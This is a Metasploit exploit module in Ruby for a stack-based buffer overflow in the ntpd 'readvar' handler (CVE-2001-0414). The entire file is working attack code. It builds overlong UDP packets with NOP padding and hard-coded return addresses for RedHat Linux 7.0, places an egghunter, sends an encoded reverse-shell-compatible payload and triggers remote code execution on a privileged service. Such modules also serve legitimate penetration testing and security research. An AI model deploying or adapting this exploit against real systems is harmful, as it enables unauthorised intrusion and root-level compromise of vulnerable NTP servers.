ntpd 4.0.99j-k readvar - Buffer Overflow



##

# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

    include Msf::Exploit::Remote::Udp
    include Msf::Exploit::Remote::Egghunter

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'NTP daemon readvar Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack based buffer overflow in the
                ntpd and xntpd service. By sending an overly long 'readvar'
                request it is possible to execute code remotely. As the stack
                is corrupted, this module uses the Egghunter technique.
            },
            'Author'         => 'patrick',
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     => 
                [ 
                        [ 'CVE', '2001-0414' ],
                        [ 'OSVDB', '805' ],
                        [ 'BID', '2540' ],
                        [ 'URL', 'http://www.kb.cert.org/vuls/id/970472' ],
                ],
            'Payload'        =>
                {
                    'Space'    => 220,
                    'BadChars' => "\x00\x01\x02\x16,=",
                    'StackAdjustment' => -3500,
                    'PrependEncoder' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "xor eax,eax mov al,27 int 0x80").encode_string, # alarm(0)
                    'Compat'   => 
                    {
                        'ConnectionType' => '-reverse',
                    },
                },
            'Platform'       => [ 'linux' ],
            'Arch'         => [ ARCH_X86 ],
            'Targets'        =>
                [
                        [ 'RedHat Linux 7.0 ntpd 4.0.99j',         { 'Ret' => 0xbffffbb0 } ],
                        [ 'RedHat Linux 7.0 ntpd 4.0.99j w/debug',     { 'Ret' => 0xbffff980 } ],
                        [ 'RedHat Linux 7.0 ntpd 4.0.99k',         { 'Ret' => 0xbffffbb0 } ],
                        #[ 'FreeBSD 4.2-STABLE',             { 'Ret' => 0xbfbff8bc } ],
                        [ 'Debugging',                     { 'Ret' => 0xdeadbeef } ],
                ],
            'Privileged'     => true,
            'DisclosureDate' => 'Apr 04 2001',
            'DefaultTarget' => 0))

            register_options([Opt::RPORT(123)], self.class)
    end

    def exploit

        hunter  = generate_egghunter
        egg     = hunter[1]

        connect_udp

        pkt1 = "\x16\x02\x00\x01\x00\x00\x00\x00\x00\x00\x016stratum="
        pkt2 = "\x16\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00"

        sploit =  pkt1 + make_nops(512 - pkt1.length)
        sploit[(220 + pkt1.length), 4] = [target['Ret']].pack('V')
        sploit[(224 + pkt1.length), hunter[0].length] = hunter[0]

        print_status("Trying target #{target.name}...")

        print_status("Sending hunter")
        udp_sock.put(sploit)
        sleep(0.5)

        print_status("Sending payload")
        udp_sock.put(pkt1 + egg + egg + payload.encoded)
        sleep(0.5)

        print_status("Calling overflow trigger")
        udp_sock.put(pkt2)
        sleep(0.5)

        handler
        disconnect_udp

    end

end